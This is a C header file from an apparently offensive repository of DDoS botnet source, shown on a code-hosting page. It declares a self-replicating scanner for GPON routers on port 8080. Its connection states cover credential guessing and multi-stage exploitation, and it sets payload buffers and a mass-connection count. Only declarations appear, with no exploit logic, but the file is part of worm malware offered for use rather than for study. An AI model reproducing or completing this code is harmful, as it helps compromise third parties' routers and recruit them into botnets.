Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/GPON/gpon8080_scanner.h
5038 views
1
#ifdef SELFREP
2
3
#pragma once
4
5
#include <stdint.h>
6
7
#include "includes.h"
8
9
#ifdef DEBUG
10
#define GPON8080_SCANNER_MAX_CONNS 3
11
#define GPON8080_SCANNER_RAW_PPS 788
12
#else
13
#define GPON8080_SCANNER_MAX_CONNS 256
14
#define GPON8080_SCANNER_RAW_PPS 788
15
#endif
16
17
#define GPON8080_SCANNER_RDBUF_SIZE 1080
18
#define GPON8080_SCANNER_HACK_DRAIN 64
19
20
struct gpon8080_scanner_connection
21
{
22
int fd, last_recv;
23
enum
24
{
25
GPON8080_SC_CLOSED,
26
GPON8080_SC_CONNECTING,
27
GPON8080_SC_GET_CREDENTIALS,
28
GPON8080_SC_EXPLOIT_STAGE2,
29
GPON8080_SC_EXPLOIT_STAGE3,
30
} state;
31
ipv4_t dst_addr;
32
uint16_t dst_port;
33
int rdbuf_pos;
34
char rdbuf[GPON8080_SCANNER_RDBUF_SIZE];
35
char **credentials;
36
char payload_buf[5000], payload_buf2[5000];
37
int credential_index;
38
};
39
40
void gpon8080_scanner();
41
void gpon8080_kill(void);
42
43
static void gpon8080_setup_connection(struct gpon8080_scanner_connection *);
44
static ipv4_t get_random_gpon8080_ip(void);
45
46
#endif
47
48